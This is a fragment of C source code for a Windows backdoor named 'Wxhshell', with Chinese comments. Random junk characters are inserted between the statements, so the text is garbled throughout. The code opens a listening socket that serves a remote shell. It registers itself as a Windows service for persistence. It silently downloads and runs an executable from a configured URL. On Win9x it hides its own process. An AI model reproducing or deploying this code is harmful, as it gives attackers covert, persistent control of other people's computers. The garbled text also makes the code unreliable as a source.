(p( N if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z4s{a(Tsd 26-K:" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bSk)GZyH\d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $G#)D^-5G door.sin_family = AF_INET; +Y440Tz door.sin_addr.s_addr = inet_addr("127.0.0.1"); DP
&*P/ door.sin_port = htons(port); ~ll+/w\4 ByW,YKMy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k mX:~KMb closesocket(wsl); tZN'OoZ return 1; z?g\w6 } y.WEO> 9y;8JO if(listen(wsl,2) == INVALID_SOCKET) { 6z1>(Za7> closesocket(wsl); <w0$0ku return 1; ]= 9^wS } j.g9O]pi Wxhshell(wsl); 71k>_'fl WSACleanup(); zy@
nBi^ dJ=z'?|%g return 0; tQ(gB_ MOu= } -h#9sl-> lm(k[]@ // 以NT服务方式启动 z5IdYF? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e~Z>C>J { j%Z%_{6Ds* DWORD status = 0;
pytF
K)U DWORD specificError = 0xfffffff; h$a%PaVf oGqbk x serviceStatus.dwServiceType = SERVICE_WIN32; njBK { serviceStatus.dwCurrentState = SERVICE_START_PENDING; eGlPi| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
m7.6;k. serviceStatus.dwWin32ExitCode = 0; qku!Mg serviceStatus.dwServiceSpecificExitCode = 0; 76RFu@k serviceStatus.dwCheckPoint = 0; nQ^ c{Bm: serviceStatus.dwWaitHint = 0; +jGSD@32> "1>48Z-UC hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NekPl/4 if (hServiceStatusHandle==0) return; 61&A` Eh|v>Yew status = GetLastError(); "'*w_H0 if (status!=NO_ERROR) &bT \4 { E@92hB4D" serviceStatus.dwCurrentState = SERVICE_STOPPED; \LQ54^eB serviceStatus.dwCheckPoint = 0; \"?5CHz* serviceStatus.dwWaitHint = 0; }ujl2uhM serviceStatus.dwWin32ExitCode = status; nypG serviceStatus.dwServiceSpecificExitCode = specificError; ;]sbz4? SetServiceStatus(hServiceStatusHandle, &serviceStatus); oVja$;> return; 7':qx}c#!1 } l"1at eM3 ><3!J+<? serviceStatus.dwCurrentState = SERVICE_RUNNING; 8AuOe7D9A serviceStatus.dwCheckPoint = 0; .|z8WF* serviceStatus.dwWaitHint = 0; \9T/%[r# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Ae43 } BoHpfx1C &(i_s // 处理NT服务事件,比如:启动、停止 B4 +A VOID WINAPI NTServiceHandler(DWORD fdwControl) Gsa~zGN { yHjuT+/wM, switch(fdwControl) .p$tb2%r { ,AEaW case SERVICE_CONTROL_STOP: r`5svY serviceStatus.dwWin32ExitCode = 0; b&\f 8xZ serviceStatus.dwCurrentState = SERVICE_STOPPED; RgTrj serviceStatus.dwCheckPoint = 0; d}--}&r serviceStatus.dwWaitHint = 0; t?;\' { 8m"jd+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); o*
C_9M } >dYN@cB$} return; d_aHUmI^" case SERVICE_CONTROL_PAUSE: ?:+sjHzXT serviceStatus.dwCurrentState = SERVICE_PAUSED; ^&Wa?
m. break; ['jr+gIfQ case SERVICE_CONTROL_CONTINUE: hG8<@ serviceStatus.dwCurrentState = SERVICE_RUNNING; -cP7`.a break; M"
R=;n case SERVICE_CONTROL_INTERROGATE: z6x`O-\ break; gOLN7K-) }; jU0E=;1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7 @oAeNd } fF]w[lLDv /lDei} // 标准应用程序主函数 @M&qH[tK-A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DuI>z?bS { /wT<p J1g+H2 // 获取操作系统版本 Eu|O<9U\ OsIsNt=GetOsVer(); S:8 WBY] M GetModuleFileName(NULL,ExeFile,MAX_PATH); +sFpIiJg =>htX(k} // 从命令行安装 %:e.ES if(strpbrk(lpCmdLine,"iI")) Install(); nN5fP<H2x o9]i
{e>L // 下载执行文件 "< })X.t if(wscfg.ws_downexe) { X;7hy0Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CRs@x` 5ue WinExec(wscfg.ws_filenam,SW_HIDE); l?)!^}Qc } @RXkj-,eC# b!oj3|9 if(!OsIsNt) { 9|NH5A"H. // 如果时win9x,隐藏进程并且设置为注册表启动 ?4cj"i HideProc(); Nk;ywC"e; StartWxhshell(lpCmdLine); +=K =B } l!mx,O` else 8F9x2CM-[C if(StartFromService()) wDDNB1_E // 以服务方式启动 sf"vi i,1A StartServiceCtrlDispatcher(DispatchTable); [,56oMd~ else K$I`&M( // 普通方式启动 mI'&!@WG StartWxhshell(lpCmdLine); s
w{e | qs!A)H# return 0; nrg$V>pD }
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